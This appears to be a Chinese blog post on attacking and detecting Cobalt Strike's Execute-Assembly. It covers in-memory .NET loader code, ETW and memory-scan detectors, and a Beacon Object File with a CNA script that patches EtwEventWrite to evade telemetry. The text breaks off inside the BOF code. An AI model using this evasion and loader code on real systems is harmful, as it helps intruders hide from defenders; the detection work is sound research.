Execute-Assembly 攻守之道

0x01 Execute-Assembly 原理

        在《Cobalt Strike 原理分析》一文中,介绍了内存加载程序集(Assembly)的主要有四步:

  • 1> 加载CLR环境
  • 2> 获取程序域
  • 3> 装载程序集
  • 4> 执行程序集

        在odzhan的Shellcode: Loading .NET Assemblies From Memory所描述的那样,.Net Framework随着版本的更新,使用了不同的接口,.Net Framework V1.0 采用的是ICorRuntimeHost接口,支持v1.0.3705, v1.1.4322, v2.0.50727和v4.0.30319。到了.Net Framework v2.0,采用ICLRRuntimeHost接口,支持v2.0.50727和v4.0.30319。然后到了.Net Framework v4.0,则使用了ICLRMetaHost接口,但是可能不再兼容4.0以下的.Net Framework。所以使用ICLRMetaHost接口并不是一个非常合适的接口。

        我们可以使用多个函数进行接口的实例化,最常见的可能属CoCreateInstance或者CLRCreateInstance

1
2
3
CoInitializeEx以及CoCreateInstance
CorBindToRuntime或者CorBindToRuntimeEx
CLRCreateInstance以及ICLRRuntimeInfo

        剩下的关于获取程序域,装载程序集,以及执行程序集Execute-Assembly实现都有具体实现。完整代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#include <stdio.h>
#include <tchar.h>
#include <metahost.h>
#import "mscorlib.tlb" raw_interfaces_only \
high_property_prefixes("_get","_put","_putref") \
rename("ReportEvent", "InteropServices_ReportEvent") \
rename("or", "InteropServices_or")
using namespace mscorlib;
#pragma comment(lib, "MSCorEE.lib")
int _tmain(int argc, _TCHAR* argv[])
{
HANDLE hFile = CreateFileA("CSharp.exe",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (NULL == hFile)
{
return 0;
}
DWORD dwFileSize = GetFileSize(hFile, NULL);
if (dwFileSize == 0)
{
return 0;
}
PVOID dotnetRaw = malloc(dwFileSize);
memset(dotnetRaw, 0, dwFileSize);
DWORD dwReturn = 0;
if (ReadFile(hFile, dotnetRaw, dwFileSize, &dwReturn, NULL)==FALSE)
{
return 0;
}
ICLRMetaHost* iMetaHost = NULL;
ICLRRuntimeInfo* iRuntimeInfo = NULL;
ICorRuntimeHost* iRuntimeHost = NULL;
IUnknownPtr pAppDomain = NULL;
_AppDomainPtr pDefaultAppDomain = NULL;
_AssemblyPtr pAssembly = NULL;
_MethodInfoPtr pMethodInfo = NULL;
SAFEARRAYBOUND saBound[1];
void* pData = NULL;
VARIANT vRet;
VARIANT vObj;
VARIANT vPsa;
SAFEARRAY* args = NULL;
//检测点1
CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID**)&iMetaHost);
iMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (VOID**)&iRuntimeInfo);
iRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&iRuntimeHost);
iRuntimeHost->Start();
iRuntimeHost->GetDefaultDomain(&pAppDomain);
pAppDomain->QueryInterface(__uuidof(_AppDomain), (VOID**)&pDefaultAppDomain);
saBound[0].cElements = dwFileSize;
saBound[0].lLbound = 0;
SAFEARRAY* pSafeArray = SafeArrayCreate(VT_UI1, 1, saBound);
SafeArrayAccessData(pSafeArray, &pData);
memcpy(pData, dotnetRaw, dwFileSize);
//free(dotnetRaw); //释放1
SafeArrayUnaccessData(pSafeArray);
//检测点2
pDefaultAppDomain->Load_3(pSafeArray, &pAssembly);
//free(pSafeArray->pvData);
pAssembly->get_EntryPoint(&pMethodInfo);
ZeroMemory(&vRet, sizeof(VARIANT));
ZeroMemory(&vObj, sizeof(VARIANT));
vObj.vt = VT_NULL;
vPsa.vt = (VT_ARRAY | VT_BSTR);
args = SafeArrayCreateVector(VT_VARIANT, 0, 1);
if (argc > 1)
{
vPsa.parray = SafeArrayCreateVector(VT_BSTR, 0, argc);
for (long i = 0; i < argc; i++)
{
SafeArrayPutElement(vPsa.parray, &i, SysAllocString((OLECHAR*)argv[i]));
}
long idx[1] = { 0 };
SafeArrayPutElement(args, idx, &vPsa);
}
//检测点3
HRESULT hr = pMethodInfo->Invoke_3(vObj, args, &vRet);
pMethodInfo->Release();
pAssembly->Release();
pDefaultAppDomain->Release();
iRuntimeInfo->Release();
iMetaHost->Release();
CoUninitialize();
getchar();
return 0;
};

0x02 Execute-Assembly检测思路

        根据上述的Execute-Assembly的实现原理,可以预测到Execute-Assembly主要有3个检测点。第一个检测点是加载CLR环境,第二个检测点是加载程序集,第三个检测点在于执行入口点的地方。在我看来,第一第二个检测点是比较好实现的。

0x2.1 ETW使用前置知识

        根据XPN在他的博文Hiding your .NET - ETW一文中指出利用ETW(Event Trace for Windows)检测CLR的加载。而ProcessHacker或者ProcessExplorer这两款工具都能从进程角度查看进程是否加载了CLR环境。
mark

        使用logman query providers命令查看所有的提供者。如图,执行结果的第一项是提供者名称,第二项是提供者对应的GUID。
mark

        也可以通过设置指定得provider name或者GUID来获取具体的提供者的详细信息。即使用logman query providers <provider name>或者logman query providers <GUID>

        通过执行logman query providers ".NET Common Language Runtime"语句返回的结果如下。除了具有第一部分提供程序的名称和GUID之外,第二部分是一些关键字的信息,也就是筛选事件的标志。通过设置这些标志来筛选我们所需要的事件。第三部分是安全级别,而第四部分对应的是事件对应的进程ID和进程路径。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
PS C:\Users\14349> logman query providers ".NET Common Language Runtime"
提供程序 GUID
-------------------------------------------------------------------------------
.NET Common Language Runtime {E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}
值 关键字 描述
-------------------------------------------------------------------------------
0x0000000000000001 GCKeyword GC
0x0000000000000002 GCHandleKeyword GCHandle
0x0000000000000004 FusionKeyword Binder
0x0000000000000008 LoaderKeyword Loader
0x0000000000000010 JitKeyword Jit
0x0000000000000020 NGenKeyword NGen
0x0000000000000040 StartEnumerationKeyword StartEnumeration
0x0000000000000080 EndEnumerationKeyword StopEnumeration
0x0000000000000400 SecurityKeyword Security
0x0000000000000800 AppDomainResourceManagementKeyword AppDomainResourceManagement
0x0000000000001000 JitTracingKeyword JitTracing
0x0000000000002000 InteropKeyword Interop
0x0000000000004000 ContentionKeyword Contention
0x0000000000008000 ExceptionKeyword Exception
0x0000000000010000 ThreadingKeyword Threading
0x0000000000020000 JittedMethodILToNativeMapKeyword JittedMethodILToNativeMap
0x0000000000040000 OverrideAndSuppressNGenEventsKeyword OverrideAndSuppressNGenEvents
0x0000000000080000 TypeKeyword Type
0x0000000000100000 GCHeapDumpKeyword GCHeapDump
0x0000000000200000 GCSampledObjectAllocationHighKeyword GCSampledObjectAllocationHigh
0x0000000000400000 GCHeapSurvivalAndMovementKeyword GCHeapSurvivalAndMovement
0x0000000000800000 GCHeapCollectKeyword GCHeapCollect
0x0000000001000000 GCHeapAndTypeNamesKeyword GCHeapAndTypeNames
0x0000000002000000 GCSampledObjectAllocationLowKeyword GCSampledObjectAllocationLow
0x0000000020000000 PerfTrackKeyword PerfTrack
0x0000000040000000 StackKeyword Stack
0x0000000080000000 ThreadTransferKeyword ThreadTransfer
0x0000000100000000 DebuggerKeyword Debugger
0x0000000200000000 MonitoringKeyword Monitoring
值 级别 描述
-------------------------------------------------------------------------------
0x00 win:LogAlways Log Always
0x02 win:Error Error
0x04 win:Informational Information
0x05 win:Verbose Verbose
PID 映像
-------------------------------------------------------------------------------
0x000035a8 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
0x000022dc F:\users\MPic 2.2.1.3\MPic.exe
0x000033c8 F:\users\markdownpad2-portable\MarkdownPad2.exe
0x00001b3c C:\Program Files\CONEXANT\SAII\SmartAudio.exe
0x00001818
0x00000e34
命令成功结束。

        XPN在他的博文Hiding your .NET - ETW中,也给出了验证测试代码,代码的功能简而言之就是通过ETW实时的捕获.NET Common Language Runtime提供者的AssemblyDCStart_V1事件。但是这个验证代码有一个缺陷就是,只有当Assembly Loader进程退出后才能捕获对应的AssemblyDCStart_V1事件。但是,这对我来说是致命的。所以我尝试使用krabsetw库来实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#define AssemblyDCStart_V1 155
#define LoaderKeyword 0x08
#include <windows.h>
#include <stdio.h>
#include <wbemidl.h>
#include <wmistr.h>
#include <evntrace.h>
#include <Evntcons.h>
static GUID ClrRuntimeProviderGuid = { 0xe13c0d23, 0xccbc, 0x4e12, { 0x93, 0x1b, 0xd9, 0xcc, 0x2e, 0xee, 0x27, 0xe4 } };
// Can be stopped with 'logman stop "dotnet trace" -etw'
const char name[] = "dotnet trace\0";
#pragma pack(1)
typedef struct _AssemblyLoadUnloadRundown_V1
{
ULONG64 AssemblyID;
ULONG64 AppDomainID;
ULONG64 BindingID;
ULONG AssemblyFlags;
WCHAR FullyQualifiedAssemblyName[1];
} AssemblyLoadUnloadRundown_V1, *PAssemblyLoadUnloadRundown_V1;
#pragma pack()
static void NTAPI ProcessEvent(PEVENT_RECORD EventRecord) {
PEVENT_HEADER eventHeader = &EventRecord->EventHeader;
PEVENT_DESCRIPTOR eventDescriptor = &eventHeader->EventDescriptor;
AssemblyLoadUnloadRundown_V1* assemblyUserData;
switch (eventDescriptor->Id) {
case AssemblyDCStart_V1:
assemblyUserData = (AssemblyLoadUnloadRundown_V1*)EventRecord->UserData;
wprintf(L"[%d] - Assembly: %s\n", eventHeader->ProcessId, assemblyUserData->FullyQualifiedAssemblyName);
break;
}
}
int main(void)
{
TRACEHANDLE hTrace = 0;
ULONG result, bufferSize;
EVENT_TRACE_LOGFILEA trace;
EVENT_TRACE_PROPERTIES *traceProp;
printf("ETW .NET Trace example - @_xpn_\n\n");
memset(&trace, 0, sizeof(EVENT_TRACE_LOGFILEA));
trace.ProcessTraceMode = PROCESS_TRACE_MODE_REAL_TIME | PROCESS_TRACE_MODE_EVENT_RECORD;
trace.LoggerName = (LPSTR)name;
trace.EventRecordCallback = (PEVENT_RECORD_CALLBACK)ProcessEvent;
bufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(name) + sizeof(WCHAR);
traceProp = (EVENT_TRACE_PROPERTIES*)LocalAlloc(LPTR, bufferSize);
traceProp->Wnode.BufferSize = bufferSize;
traceProp->Wnode.ClientContext = 2;
traceProp->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
traceProp->LogFileMode = EVENT_TRACE_REAL_TIME_MODE | EVENT_TRACE_USE_PAGED_MEMORY;
traceProp->LogFileNameOffset = 0;
traceProp->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
if ((result = StartTraceA(&hTrace, (LPCSTR)name, traceProp)) != ERROR_SUCCESS) {
printf("[!] Error starting trace: %d\n", result);
return 1;
}
if ((result = EnableTraceEx(
&ClrRuntimeProviderGuid,
NULL,
hTrace,
1,
TRACE_LEVEL_VERBOSE,
LoaderKeyword
0,
0,
NULL
)) != ERROR_SUCCESS) {
printf("[!] Error EnableTraceEx\n");
return 2;
}
hTrace = OpenTrace(&trace);
if (hTrace == INVALID_PROCESSTRACE_HANDLE) {
printf("[!] Error OpenTrace\n");
return 3;
}
result = ProcessTrace(&hTrace, 1, NULL, NULL);
if (result != ERROR_SUCCESS) {
printf("[!] Error ProcessTrace\n");
return 4;
}
return 0;
}

0x2.2 krabsetw安装与使用

        krabsetw是微软开发的一个C++库,其主要目的在于简化ETW的交互。krabsetw目前只支持x64的操作系统,而且编译环境最好是VS2017及以上。

        本文也并不使用推荐的NuGet安装krabsetw。而是使用vcpkg进行包管理。具体的关于NuGet的使用可以参考这篇文章

         当编译完成vcpkg.exe之后,使用.\vcpkg.exe list查看已经安装的开源库,然后使用.\vcpkg.exe install krabsetw:x64-windows安装krabsetw库。并且一定要将项目的预处理器设置为UNICODE。至于NDEBUGTYPEASSERT任选其一进行设置。这是krabsetw项目所规定的。具体参见项目说明:https://github.com/microsoft/krabsetw/blob/master/krabs/README.md

        使用krabsetw捕获CLR加载事件代码如下,具体的使用例子可以参考krabsetw例子说明。值得注意的是这个设置的关键字我设置的是MonitoringKeyword是可以实时监控的。而不是设置LoaderKeyword

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#define MonitoringKeyword 0x0000000200000000
void DetectByETW()
{
//回调函数
auto assembly_callback = [](const EVENT_RECORD& record, const krabs::trace_context& trace_context)
{
krabs::schema schema(record, trace_context.schema_locator);
krabs::parser parser(schema);
pids.push_back(record.EventHeader.ProcessId);
//获取ProcessId
DWORD dwPid = record.EventHeader.ProcessId;
WCHAR szExeFile[MAX_PATH] = { 0 };
DWORD dwSize = MAX_PATH;
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid);
QueryFullProcessImageNameW(hProcess, 0, szExeFile, &dwSize);
//检测内存信息
BOOL bIsExecuteAssembly = DetectByMemory(hProcess);
if (bIsExecuteAssembly == TRUE)
{
SetConsoleColor(FOREGROUND_RED | FOREGROUND_INTENSITY | BACKGROUND_BLUE);
printf("[%d] : %ls is execute-Assembly(.Net Load Memory)\n", dwPid, szExeFile);
SetConsoleColor(FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
}
else
{
printf("[%d] : %ls\n", dwPid, szExeFile);
}
return TRUE;
};
//设置跟踪会话
krabs::user_trace trace(L"Assembly Load Monitor");
//设置Provider
krabs::provider<> dotnet_rundown_provider(L".NET Common Language Runtime"); //L".NET Common Language Runtime"
//设置筛选事件关键字,逻辑为any模式
dotnet_rundown_provider.any(MonitoringKeyword);
//设置回调函数
dotnet_rundown_provider.add_on_event_callback(assembly_callback);
//开始
trace.enable(dotnet_rundown_provider);
trace.start();
}

0x2.3 加载程序集

        第二个检测点位于加载程序集之后。在memcpy处打一个断点。

1
2
3
4
5
SafeArrayAccessData(pSafeArray, &pData);
memcpy(pData, dotnetRaw, dwFileSize);
SafeArrayUnaccessData(pSafeArray);
//检测点2
pDefaultAppDomain->Load_3(pSafeArray, &pAssembly);

        并在memcpy函数执行之后的目的地址下一个执行断点,并执行。这一步是为了定位需要加载的程序集在Assembly Loader进程中的位置。因为Assembly内存加载,程序集必然在进程的内存空间中。只是需要定位在哪里?且那块内存的内存属性和类型。
mark
mark

        可以看到程序集保存在内存类型为MEM_COMMITMEM_PRIVATE以及保护类型为PAGE_READWRITE的内存块
mark
mark

        整个扫描逻辑就很简单了,只需要调用VirtualQueryEx获取内存信息,只需要选择内存类型为MEM_COMMITMEM_PRIVATE以及保护类型为PAGE_READWRITE的内存块。然后扫描PE头信息即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
BOOL DetectByMemory(HANDLE hProcess)
{
UCHAR SignMemory[] = { 0x54,0x68,0x69,0x73,0x20,0x70,0x72,0x6F,0x67,0x72,0x61,0x6D,0x20,0x63,0x61,0x6E,0x6E,0x6F,0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6E,0x20,0x69,0x6E,0x20,0x44,0x4F,0x53,0x20,0x6D,0x6F,0x64,0x65 };
BOOL bIsExecuteFile = FALSE;
if (NULL == hProcess)
return bIsExecuteFile;
SYSTEM_INFO sysInfo = { 0 };
GetSystemInfo(&sysInfo);
MEMORY_BASIC_INFORMATION pMemInfo = { 0 };
DWORD dwErrorCode;
for (DWORD64 MemoryAddress = (DWORD64)sysInfo.lpMinimumApplicationAddress; MemoryAddress < (DWORD64)0x700000000000; MemoryAddress += pMemInfo.RegionSize) //0x7ff4e85d0000 0x70000000
{
if (bIsExecuteFile == TRUE)
break;
if (VirtualQueryEx(hProcess, (LPVOID)MemoryAddress, &pMemInfo, sizeof(MEMORY_BASIC_INFORMATION)) == 0)
break;
if ((pMemInfo.Type == MEM_COMMIT || pMemInfo.Type == MEM_PRIVATE) && pMemInfo.Protect == PAGE_READWRITE) //
{
PVOID pMemoryBuffer = malloc(pMemInfo.RegionSize + 1);
memset(pMemoryBuffer, 0, pMemInfo.RegionSize + 1);
SIZE_T dwReturnNumber = 0;
if (ReadProcessMemory(hProcess, pMemInfo.BaseAddress, pMemoryBuffer, pMemInfo.RegionSize, &dwReturnNumber) == FALSE)
{
printf("[!] ReadProcessMemory Failed\n");
free(pMemoryBuffer);
pMemoryBuffer = NULL;
continue;
}
for (DWORD64 dwIndex = 0; dwIndex < pMemInfo.RegionSize + 1; dwIndex++)
{
if ((memcmp((PVOID)((DWORD64)pMemoryBuffer + dwIndex), SignMemory, sizeof(SignMemory)) == 0) &&
(memcmp((PVOID)((DWORD64)pMemoryBuffer + dwIndex - 0x4E), "MZ", 2) == 0))
{
bIsExecuteFile = TRUE;
break;
}
}
free(pMemoryBuffer);
pMemoryBuffer = NULL;
}
}
return bIsExecuteFile;
}

0x03 绕过上述检测

        绕过上述检测的最简单的思路就是Patch ETW。而我想的是使用BOF进行Bypass ETW 以及Assembly加载。值得庆幸得是CobaltStrike官方以及有大佬已经做了这一部分的研究。

0x3.1 脚本学习

        在官方的文档Beacon Object Files中,详细描写了怎么使用CNA和BOF。根据文档提供的例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
alias hello {
local('$barch $handle $data $args');
# figure out the arch of this session
$barch = barch($1);
# read in the right BOF file
$handle = openf(script_resource("hello. $+ $barch $+ .o"));
$data = readb($handle, -1);
closef($handle);
# pack our arguments
$args = bof_pack($1, "zi", "Hello World", 1234);
# announce what we're doing
btask($1, "Running Hello BOF");
# execute it.
beacon_inline_execute($1, $data, "demo", $args);
}

        使用local定义了本地变量。

1
local('$barch $handle $data $args');

        使用barch函数获取进程架构,以此后续拼接读取BOF时使用。参数$1表示的是当前会话的ID。Alias的参数有3个。

  • $0 是我们起的别名和传输的参数
  • $1 是当前会话的 ID
  • $2-3-4….第二个参数及以后,就是我们 是我们传递的参数,他们由空格隔开,我们举一个例子:
    1
    2
    # figure out the arch of this session
    $barch = barch($1);

        然后通过readb读取BOF文件(.obj)

1
2
3
4
# read in the right BOF file
$handle = openf(script_resource("hello. $+ $barch $+ .o"));
$data = readb($handle, -1);
closef($handle);

        然后再将参数打包。参数1 $1表示会话ID,第二个参数是传入参数的类型,参数类型如下。从第三个参数就是传入的参数。

1
2
3
4
5
6
Type Description Unpack With (C)
b binary data BeaconDataExtract
i 4-byte integer BeaconDataInt
s 2-byte short integer BeaconDataShort
z zero-terminated+encoded string BeaconDataExtract
Z zero-terminated wide-char string (wchar_t *)BeaconDataExtract

1
2
# pack our arguments
$args = bof_pack($1, "zi", "Hello World", 1234);

        最后调用beacon_inline_execute,其实就是执行inline_execute命令。第三个参数是入口点函数。

1
2
# execute it.
beacon_inline_execute($1, $data, "demo", $args);

        需要参考Sleep语言的说明http://sleep.dashnine.org/manual/index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
beacon_command_register(
"InlineExecute_Assembly",
"test1",
"test2");
alias InlineExecute_Assembly{
$data = substr($0, 5);
@args = split(' ', $data);
println(@args);
local('$AssemblyPath $AssemblyArgs');
$AssemblyPath = "";
$AssemblyArgs = "";
@Optional = @("--AssemblyPath" , "--AssemblyArgs");
for($i = 0; $i < size(@args) ; $i++){
if (@args[$i] eq "--AssemblyPath"){
if(@args[$i + 1] ne ""){
$AssemblyPath = @args[$i + 1];
#println($AssemblyPath);
}
}
else if (@args[$i] eq "--AssemblyArgs"){
for($j = $i + 1; $j < size(@args) ; $j++){
if(@args[$j] in @Optional){
break;
}
if(strlen($AssemblyArgs) == 0){
$AssemblyArgs = @args[$j]
}
else{
$AssemblyArgs = $AssemblyArgs." ".@args[$j];
}
}
#println($AssemblyArgs);
}
}
# charge AssemblyPath is invaid
if($AssemblyPath eq "" || !-exists $AssemblyPath || !-isFile $AssemblyPath){
println($AssemblyPath." is vailed or does not exist\n");
return;
}
# read .Net
$AssemblyHandle = openf($AssemblyPath);
$AssemblyLength = lof($AssemblyPath);
$AssemblyBytes = readb($AssemblyHandle , -1);
closef($AssemblyHandle);
if(strlen($AssemblyBytes) == 0){
println($AssemblyPath."load failed \n");
}
println("size of .Net is: ".$AssemblyLength);
# load bof
$barch = barch($1);
$BofPath = script_resource("InlineExecute_Assembly_ $+ $barch $+ .obj");
$BofHandle = openf($BofPath);
$BofBytes = readb($BofHandle, -1);
closef($BofHandle);
if(strlen($BofBytes) == 0){
println($BofPath." load failed \n");
return;
}
println("bof file path is: ".$BofPath);
println("size of bof file is:".lof($BofPath));
println("args is:".$AssemblyArgs);
$bofArgs = bof_pack($1, "biz", $AssemblyBytes , $AssemblyLength , $AssemblyArgs);
#$bofArgs = bof_pack($1, "zi", $BofPath , $AssemblyLength);
btask($1, "Running Inline_Execute Assembly BOF");
beacon_inline_execute($1, $BofBytes, "go", $bofArgs);
clear(@Optional);
}

0x3.2 BOF编写

        BOF主要需要实现两个点,第一实现ByPass ETW,第二需要实现Assembly加载。先看官方给的例子。首先使用BeaconDataParse解析参数,然后调用BeaconDataExtractBeaconDataInt依次获取string类型和int类型。

1
BeaconDataParse(&parser, args, length);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include "beacon.h"
void demo(char * args, int length) {
datap parser;
char * str_arg;
int num_arg;
BeaconDataParse(&parser, args, length);
str_arg = BeaconDataExtract(&parser, NULL);
num_arg = BeaconDataInt(&parser);
BeaconPrintf(CALLBACK_OUTPUT, "Message is %s with %d arg", str_arg, num_arg);
}

        其中Bypass ETW原理很简单,只需要Patch EtwEventWrite或者EtwEventWriteFull函数,而Assembly Load就是上面所描述的四个步骤即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
#include "InlineExecute_Assembly.h"
#include "beacon.h"
#define STATUS_SUCCESS 0
BOOL PatchETW()
{
LPVOID pEtwEventWrite = KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA("ntdll.dll"), "EtwEventWrite");
if (pEtwEventWrite == NULL)
{
BeaconPrintf(CALLBACK_ERROR, "[!] pEtwEventWrite Failed");
return FALSE;
}
BeaconPrintf(CALLBACK_OUTPUT, "[+] pEtwEventWrite Success");
DWORD oldProtect;
#ifdef _M_AMD64
SIZE_T length = 1;
char patch[] = { 0xc3 };
#elif defined(_M_IX86)
SIZE_T length = 3;
char patch[] = { 0xc2,0x14,0x00 };
#endif
NTSTATUS ntStatus = STATUS_SUCCESS;
HANDLE hProcess = KERNEL32$OpenProcess(PROCESS_ALL_ACCESS, TRUE, KERNEL32$GetCurrentProcessId());
BeaconPrintf(CALLBACK_OUTPUT, "[+] OpenProcess Success");
if (KERNEL32$VirtualProtectEx(hProcess, pEtwEventWrite, length, PAGE_EXECUTE_READWRITE, &oldProtect) == FALSE)
{
BeaconPrintf(CALLBACK_ERROR, "[!] VirtualProtectEx Failed");
return FALSE;
}
BeaconPrintf(CALLBACK_OUTPUT, "[+] VirtualProtectEx Success");
SIZE_T NumberOfBytesWritten = 0;
if (KERNEL32$WriteProcessMemory(hProcess, pEtwEventWrite, patch, length, &NumberOfBytesWritten) == FALSE)
{
BeaconPrintf(CALLBACK_ERROR, "[!] WriteProcessMemory Failed");
return FALSE;
}
BeaconPrintf(CALLBACK_OUTPUT, "[+] WriteProcessMemory Success");
if (KERNEL32$VirtualProtectEx(hProcess, pEtwEventWrite, length, oldProtect, &oldProtect) == FALSE)
{
BeaconPrintf(CALLBACK_ERROR, "[!] VirtualProtectEx Failed");
return FALSE;
}
BeaconPrintf(CALLBACK_OUTPUT, "[+] VirtualProtectEx Success");
return TRUE;
}
BOOL FindVersion(char* AssemblyBytes, int dwLength)
{
BOOL flag = TRUE;
char v4[] = { 0x76,0x34,0x2E,0x30,0x2E,0x33,0x30,0x33,0x31,0x39 };
for (int i = 0; i < dwLength; i++)
{
if (MSVCRT$memcmp(AssemblyBytes, v4, 10) == 0)
{
flag = TRUE;
break;
}
}
return flag;
//int count = 0;
//for (int i = 0; i < dwLength; i++)
//{
// for (int j = 0; j < 10; j++)
// {
// if (AssemblyBytes[i] == v4[j])
// {
// count++;
// }
// }
// if (count == 10)
// {
// flag = TRUE;
// break;
// }
// count = 0;
//
//}
//return flag;
}
BOOL AssemblyLoad(wchar_t* wNetVersion , char* AssemblyBytes , DWORD AssemblyLength, LPWSTR* ArgumentsArray, int NumArguments)
{
HRESULT hr;
ICLRMetaHost* iMetaHost = NULL;
ICLRRuntimeInfo* iRuntimeInfo = NULL;
ICorRuntimeHost* iRuntimeHost = NULL;
IUnknown* pAppDomain = NULL;
AppDomain* pDefaultAppDomain = NULL;
Assembly* pAssembly = NULL;
MethodInfo* pMethodInfo = NULL;
SAFEARRAYBOUND saBound[1];
void* pData = NULL;
VARIANT vRet;
VARIANT vObj;
VARIANT vPsa;
SAFEARRAY* args = NULL;
hr = MSCOREE$CLRCreateInstance(&xCLSID_CLRMetaHost, &xIID_ICLRMetaHost, (VOID**)&iMetaHost);
if (hr != ERROR_SUCCESS)
{
BeaconPrintf(CALLBACK_ERROR, "[!] CLRCreateInstance Failed:%d",hr);
return FALSE;
}
BeaconPrintf(CALLBACK_OUTPUT, "[+] CLRCreateInstance Success");
hr = iMetaHost->lpVtbl->GetRuntime(iMetaHost, wNetVersion, &xIID_ICLRRuntimeInfo, (VOID**)&iRuntimeInfo);
if (hr != ERROR_SUCCESS)
{
BeaconPrintf(CALLBACK_ERROR, "[!] GetRuntime Failed:%d", hr);
return FALSE;
}
BeaconPrintf(CALLBACK_OUTPUT, "[+] GetRuntime Success");
hr = iRuntimeInfo->lpVtbl->GetInterface(iRuntimeInfo,&xCLSID_CorRuntimeHost, &xIID_ICorRuntimeHost, (VOID**)&iRuntimeHost);
if (hr != ERROR_SUCCESS)
{
BeaconPrintf(CALLBACK_ERROR, "[!]GetInterface Failed:%d", hr);
return FALSE;
}
BeaconPrintf(CALLBACK_OUTPUT, "[+] GetInterface Success");
hr = iRuntimeHost->lpVtbl->Start(iRuntimeHost);
if (hr != ERROR_SUCCESS)
{
BeaconPrintf(CALLBACK_ERROR, "[!]CLR Start Failed:%d", hr);
return FALSE;
}
BeaconPrintf(CALLBACK_OUTPUT, "[+] CLR Start Success");
//hr = iRuntimeHost->lpVtbl->GetDefaultDomain(iRuntimeHost,&pAppDomain);
hr = iRuntimeHost->lpVtbl->CreateDomain(iRuntimeHost, (LPCWSTR)L" ", NULL, &pAppDomain);
if (hr != ERROR_SUCCESS)
{
BeaconPrintf(CALLBACK_ERROR, "[!]GetDefaultDomain Failed:%d", hr);
return FALSE;
}
BeaconPrintf(CALLBACK_OUTPUT, "[+] GetDefaultDomain Success");
hr = pAppDomain->lpVtbl->QueryInterface(pAppDomain, &xIID_AppDomain, (VOID**)&pDefaultAppDomain);
if (hr != ERROR_SUCCESS)
{
BeaconPrintf(CALLBACK_ERROR, "[!]QueryInterface Failed:%p", hr);
return FALSE;
}
BeaconPrintf(CALLBACK_OUTPUT, "[+] QueryInterface Success");
saBound[0].cElements = AssemblyLength;
saBound[0].lLbound = 0;
SAFEARRAY* pSafeArray = OLEAUT32$SafeArrayCreate(VT_UI1, 1, saBound);
if (pSafeArray == NULL)
{
BeaconPrintf(CALLBACK_ERROR, "[!]SafeArrayCreate Failed:%d", hr);
return FALSE;
}
BeaconPrintf(CALLBACK_OUTPUT, "[+]SafeArrayCreate Success");
hr = OLEAUT32$SafeArrayAccessData(pSafeArray, &pData);
if (hr != ERROR_SUCCESS)
{
